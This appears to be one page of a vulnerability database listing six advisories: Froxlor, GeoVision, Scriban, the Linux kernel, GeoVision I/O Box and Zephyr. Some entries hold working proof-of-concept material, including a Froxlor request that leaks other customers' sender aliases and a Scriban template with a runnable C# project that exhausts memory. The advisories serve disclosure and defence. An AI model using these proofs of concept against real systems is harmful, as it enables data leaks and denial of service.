| Medium | 4.3 | Medium4.3GCVE Database ## Summary An authenticated customer can read other customers' allowed sender aliases from Froxlor's sender-delete confirmation page when `mail.enable_allow_sender` is enabled. `customer_email.php` loads `allowed_sender` by global auto-increment `senderid` alone, so a customer can enumerate foreign sender alias IDs and make Froxlor disclose those values in the confirmation dialog for the attacker's own mailbox. ## Details The vulnerable read lives in `customer_email.php`: ```php $senderid = Request::any('senderid', 0); ... $sel_stmt = Database::prepare("SELECT `allowed_sender` FROM `" . TABLE_MAIL_SENDER_ALIAS . "` WHERE `id` = :sid"); $sender_data = Database::pexecute_first($sel_stmt, ['sid' => $senderid]); HTML::askYesNo('email_reallydelete_sender', $filename, [ 'id' => $id, 'senderid' => $senderid, 'page' => $page, 'domainid' => $email_domainid, 'action' => $action ], $idna_convert->decode($result['email_full']) . ' -> ' . $sender_data['allowed_sender']); ``` The query does not scope `senderid` to the current customer or to the mailbox being edited. `mail_sender_aliases.id` is a global `AUTO_INCREMENT` primary key: ```sql CREATE TABLE `mail_sender_aliases` ( `id` int(11) NOT NULL auto_increment, `email` varchar(255) NOT NULL, `allowed_sender` varchar(255) NOT NULL, PRIMARY KEY (`id`) ) ``` That makes sender alias IDs enumerable. A customer who owns any mailbox with sender-alias management enabled can request the delete-confirmation page for their own mailbox while supplying foreign `senderid` values. Froxlor then renders the foreign `allowed_sender` string in the confirmation prompt. ## Proof of Concept Verified against Froxlor `2.3.6` on a fresh test install with `mail.enable_allow_sender=1`. 1. Create two customers, `victim` and `attacker`. 2. Give each customer one mailbox. 3. Add a sender alias for the victim mailbox: ```text info@victim.local -> leaked-sender@example.org ``` 4. Log in as the attacker and request the delete-confirmation page for the attacker's own mailbox while supplying the victim's sender alias ID: ```text /customer_email.php?page=senders&domainid=4&action=delete&id=2&senderid=1 ``` Observed in the live test instance: ```text Do you really want to delete the allowed sender info@attacker.local -> leaked-sender@example.org? ``` The attacker-controlled mailbox identifier stayed `info@attacker.local`, but the disclosed sender alias text came from the victim-owned row identified by `senderid=1`. ## Impact An authenticated customer can enumerate global sender alias IDs and read other customers' allowed sender values. This is a cross-tenant information disclosure. It does not let the attacker delete the foreign alias because the delete action revalidates ownership. ## Recommended Fix Scope the sender alias lookup to the current customer and mailbox before rendering the confirmation page. The confirmation flow should fetch the sender alias through the same ownership checks used by `EmailSender::delete()`. --- *Found by [aisafe.io](https://aisafe.io)* | GCVE Database | |||
| High | 8.3 | EPSS 0.5% | High8.3EPSS 0.5%CVE Database V5CVE-2026-57268 GeoWebPlayer (also called "Web Plugin" in the GV-VMS documentation and "WS Player" for VMS-Cloud) is an addon that can be installed with various GeoVision software (GV-VMS, GV-Cloud, ...). It creates a websocket server that expands the capabilities of the various web-interfaces provided by the GeoVision software and may be necessary for them to function properly. The Websocket server can accept various commands coming from localhost. Many of the commands will take an `index` value that is then used to access various arrays to enter critical sections, perform various actions via function calls, etc. However the `index` value is usually not checked for valid range, and as such it can be used to access multiple arrays out-of-bound. ### saveVideo command index-out-of-bound When sending the `saveVideo` command, the `index` field is extracted from the websocket message [1]. Then without checking the range of the index, it is used to trigger a CriticalSection ([2]) and releases it [3]. The release function call ([3]) is executed using a function pointer which will be read out of bounds potentially leading to code execution: v6 = get_entry(a2, "index"); result = json_is_value_int(v6); if ( (_BYTE)result ) { v8 = get_entry(a2, "index"); index = json_value_to_int(&v8->value); // [1] result = CCriticalSection::EnterCritSection(&this->crit_sections[index]); //[2] if ( result ) { if ( this->array_of_IPCams[index] ) { if ( this->array_of_IPCams[index]->field_20 ) do_PostMessageA((CViewer *)this->array_of_IPCams[index], 0x111u, 0x139Fu, v11); } return (*(int (__thiscall **)(CCriticalSection *))(this->crit_sections[index].vtbl + 20))(&this->crit_sections[index]); //[3] } } | CVE Database V5 | ||
| Medium | 6.9 | Medium6.9GCVE Database ### Summary The array multiplication operator (`array * integer`) in Scriban allocates a result whose size is the product of the attacker-controlled integer and the array length, with **no `LoopLimit` / `LimitToString` check and no overflow-safe arithmetic**. A ~40-byte template forces a multi-gigabyte allocation, producing a denial-of-service. This is the unguarded sibling of operations that *were* hardened against the same class of abuse: `string * integer` (gated by a `LimitToString` pre-check), `array.insert_at` (gated by `StepLoop`/`LoopLimit` — the **GHSA-24c8-4792-22hx** fix shipped in 7.2.0, scored 8.7 High), and the range/iteration paths covered by **GHSA-c875-h985-hvrc** ("Built-in operations bypass LoopLimit", fixed 7.0.0). The same `LoopLimit`-based hardening pattern was applied to those operations but never to `array * integer`. This can be observed directly in 7.0.0, the release where GHSA-c875 was patched: `(1..5) * 50000000` (and `1..N | array.size`) correctly throws `Exceeding number of iteration limit '1000'`, while `[1,2,3,4,5] * 50000000` allocates ~2 GB with no limit. The `LoopLimit` control is enforced on the iteration path but not on the `array * int` allocation path, side by side, in the same version. The bug has been present since the operator was introduced in **3.0.0**, survives all of the 6.6.0 / 7.0.0 / 7.2.0 DoS-hardening passes, and is still present in 7.2.0 (current) — i.e. it is both a missed sibling of GHSA-24c8 and an incomplete coverage of GHSA-c875's `LoopLimit` hardening. ### Details The `array * int` operator is handled in `ScriptArray<T>.TryEvaluate`: ```csharp // src/Scriban/Runtime/ScriptArray.cs:504-508 (Multiply case) var newArray = new ScriptArray<T>(intModifier * array.Count); for (int i = 0; i < intModifier; i++) { newArray.AddRange(array); } ``` `intModifier` is the attacker-supplied integer (`context.ToInt(...)`, `ScriptArray.cs:399`). Two problems: 1. **No resource limit.** Neither `new ScriptArray<T>(intModifier * array.Count)` nor the `AddRange` loop consults `LoopLimit`, `LimitToString`, or calls `context.StepLoop(...)`. A grep of the entire `TryEvaluate` method (`ScriptArray.cs:360-560`) finds no `StepLoop` / `LoopLimit` / `Limit` reference. `LoopLimit` (default 1000) is therefore not enforced: a template that requests 250,000,000 elements creates them all without any "iteration limit" error. 2. **Integer overflow in the capacity.** `intModifier * array.Count` is unchecked `int` arithmetic. The overflow-safe `long` cast used by the string sibling is absent here. The DoS-hardening passes guarded the two sibling operations but not this one: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:341 (string * int — GUARDED) if (context.LimitToString > 0 && value > 0 && leftText.Length > 0 && (long)leftText.Length * value > context.LimitToString) // long arithmetic, pre-check { throw new ScriptRuntimeException(spanMultiplier, $"String multiplication exceeds LimitToString `{context.LimitToString}`."); } ``` ```csharp // src/Scriban/Functions/ArrayFunctions.cs:414 (array.insert_at — GUARDED, GHSA-24c8 fix in 7.2.0) for (int i = array.Count; i < index; i++) { context.StepLoop(span, ref loopStep); // LoopLimit enforced array.Add(null); } ``` `array * int` (`ScriptArray.cs:504`) received neither guard. When the oversized allocation fails as a managed exception, it is wrapped by the binary-expression evaluator: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:241-243 catch (Exception ex) when (!(ex is ScriptRuntimeException)) { throw new ScriptRuntimeException(span, ex.Message); } ``` So a host that wraps `Render()` in `try/catch` sees a `ScriptRuntimeException` carrying the original `OutOfMemoryException` message (or `ArgumentOutOfRangeException` on the integer-overflow path). ### PoC A single console project reproduces it on the released NuGet package. `poc.csproj`: ```xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <!-- If only the .NET 9 SDK is installed, change to net9.0. Behavior is identical. --> </PropertyGroup> <ItemGroup> <PackageReference Include="Scriban" Version="7.2.0" /> </ItemGroup> </Project> ``` `Program.cs`: ```csharp using Scriban; // ~41-byte template requests 5 * 200,000,000 = 1,000,000,000 elements string tpl = "{{ x = [1,2,3,4,5] * 200000000; x.size }}"; System.Console.WriteLine("Rendering..."); var sw = System.Diagnostics.Stopwatch.StartNew(); var result = Template.Parse(tpl).Render(); // allocates ~7.7 GB System.Console.WriteLine($"size={result.Trim()} peakWS=" + System.Diagnostics.Process.GetCurrentProcess().PeakWorkingSet64 / (1024 * 1024) + "MB elapsed=" + sw.ElapsedMilliseconds + "ms"); ``` Run: ```sh dotnet run -c Release ``` Measured peak working set on Scriban 7.2.0 (net8.0, .NET 9 runtime, Linux), varying only the multip | GCVE Database | |||
| High | 7.8 | EPSS 0.2% | High7.8EPSS 0.2%GCVE DatabaseCVE-2026-53202 In the Linux kernel, the following vulnerability has been resolved: accel/ivpu: Fix signed integer truncation in IPC receive Fix potential buffer overflow where firmware-supplied data_size is cast to signed int before being used in min_t(). Large unsigned values (>= 0x80000000) become negative, causing unsigned wraparound and oversized memcpy operations that can overflow the stack buffer. Change min_t(int, ...) to min() as both values are unsigned and can be handled by min() without explicit cast. | GCVE Database | ||
| Critical | 9.1 | EPSS 2.7% | CVE-2026-12851GeoVision GV-I/O Box 4E · OS Command Injection Critical9.1EPSS 2.7%CVE Database V5CVE-2026-12851 Multiple OS command injection vulnerabilities exist in the libNetSetObj.so functionality of GeoVision GV-I/O Box 4E 2.09. A specially crafted network packet can lead to command execution. An attacker can send a network request to trigger this vulnerability. `libNetSetObj.so` is an internal library used by various binaries on the device to configure the network stack (start and stop various services, configure IP, Netmask, gateway, dns, etc.) #### CNetSetObj::m_F_n_Set_DNS_Addr command injection The following function can take up to two addresses, performs no sanitization and then calls `system`. This is a classic command injection vulnerability. The function is reachable from both the network-exposed `DVRSearch` service and the `Network.cgi` endpoint. int __fastcall CNetSetObj::m_F_n_Set_DNS_Addr(CNetSetObj *this, char *dns1, char *dns2) { int result; // r0 char v5[80]; // [sp+0h] [bp-50h] BYREF if ( !dns1 ) result = 0; if ( dns1 ) { sprintf(v5, "/bin/echo nameserver %s > /etc/resolv.conf", dns1); // attacker controlled dns1 field system(v5); if ( dns2 ) { sprintf(v5, "/bin/echo nameserver %s >> /etc/resolv.conf", dns2); system(v5); } return 1; } return result; | CVE Database V5 | ||
| Medium | 6.3 | EPSS 0.3% | CVE-2026-5589zephyrproject-rtos Zephyr · Out-of-bounds Write Medium6.3EPSS 0.3%CVE Database V5CVE-2026-5589 An integer underflow in bt_mesh_sol_recv() in the Bluetooth Mesh solicitation handling (subsys/bluetooth/mesh/solicitation.c) leads to an out-of-bounds write. When CONFIG_BT_MESH_OD_PRIV_PROXY_SRV is enabled, the function parses solicitation PDUs from raw BLE advertising payloads. The AD parsing loop reads an attacker-controlled length byte (reported_len) and computes reported_len - 3 without checking that reported_len >= 3. When reported_len is less than 3, the subtraction is performed in signed int arithmetic and yields a negative value that bypasses the length guard and is then implicitly converted to a very large size_t when passed to net_buf_simple_pull_mem(). In builds without assertions, this wraps the buffer length and advances the data pointer far out of bounds, so subsequent reads dereference invalid memory. A nearby BLE device can trigger this with a non-connectable advertisement carrying a UUID16 AD structure and a crafted length byte, with no pairing or prior association required, potentially leading to denial of service or arbitrary code execution. EPSS 0.3%Vulnerability | CVE Database V5 |
Page 2 of 4 · 1 duplicate CVE record merged